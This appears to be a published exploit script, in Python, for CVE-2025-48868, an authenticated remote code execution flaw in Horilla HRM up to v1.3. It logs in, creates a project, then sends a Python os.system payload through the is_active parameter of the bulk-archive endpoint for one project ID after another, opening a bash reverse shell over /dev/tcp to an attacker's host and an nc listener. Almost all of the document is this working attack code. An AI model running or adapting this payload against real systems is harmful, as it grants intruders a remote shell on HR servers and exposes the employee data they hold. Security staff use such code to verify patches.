# Exploit Title: Horilla v1.3 - RCE # Date: 2025-05-29 # Exploit Author: Raghad Abdallah Al-syouf # Version: <= 1.3 # Tested on: Ubuntu / Docker # CVE: CVE-2025-48868 Description: This script exploits the authenticated RCE vulnerability CVE-2025-48868. It logs into the target web app, creates a project, and sends payloads to achieve a reverse shell connection to a listener **started manually** by the user. Usage: python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT Example: python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444 """ import requests import time import sys import argparse from bs4 import BeautifulSoup import urllib3 import random import string from datetime import datetime urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def generate_random_title(): letters = ''.join(random.choices(string.ascii_lowercase, k=4)) digits = ''.join(random.choices(string.digits, k=2)) return letters + digits def main(): print("[+] CVE-2025-48868") parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan') parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000') parser.add_argument('--user', required=True, help='Username for login') parser.add_argument('--pass', required=True, dest='password', help='Password for login') parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)') parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)') args = parser.parse_args() base_url = args.url.rstrip('/') login_url = f"{base_url}/login/" project_url = f"{base_url}/project/project-bulk-archive" session = requests.Session() headers = { "User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest" } print("[+] Getting login page...") login_page = session.get(login_url, headers=headers, verify=False) if login_page.status_code != 200: print(f"[-] Failed to load login page, status {login_page.status_code}") sys.exit(1) soup = BeautifulSoup(login_page.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] login_data = { "username": args.user, "password": args.password, "csrfmiddlewaretoken": csrf_token } print("[+] Logging in...") login_resp = session.post(login_url, data=login_data, headers=headers, verify=False) if login_resp.status_code != 200 or "logout" not in login_resp.text.lower(): print("[-] Login failed") sys.exit(1) print("[+] Logged in successfully!") project_view_url = f"{base_url}/project/project-view/" project_view = session.get(project_view_url, headers=headers, verify=False) soup = BeautifulSoup(project_view.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print("[+] Creating project...") create_project_url = f"{base_url}/project/create-project?" today_str = datetime.now().strftime("%Y-%m-%d") random_title = generate_random_title() multipart_data = { "is_active": "on", "title": random_title, "managers": "1", "members": "1", "status": "new", "start_date": today_str, "end_date": today_str, "description": "Exploit project" } create_headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*", "Referer": project_view_url, "HX-Request": "true", "HX-Trigger": "hlvd701Form", "HX-Target": "hlvd701Form", "HX-Current-URL": project_view_url, "X-CSRFToken": csrf_token, "Origin": base_url, "DNT": "1", "Connection": "keep-alive", } create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False) if create_resp.status_code == 200: print(f"[+] Project created successfully with title: {random_title}") else: print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...") headers["Referer"] = project_view_url headers["Origin"] = base_url headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8" print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport)) print("[+] Sending payload...") i = 1 while True: encoded_ids = f"%5B%22{i}%22%5D" payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')" exploit_url = f"{project_url}?is_active={payload}" data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}" response = session.post(exploit_url, headers=headers, data=data, verify=False) if response.status_code == 200: print(f"[+] Payload sent for project id {i}. Waiting for shell...") else: print(f"[-] Error sending payload for project id {i} (status {response.status_code})") time.sleep(3) i += 1 if __name__ == "__main__": main()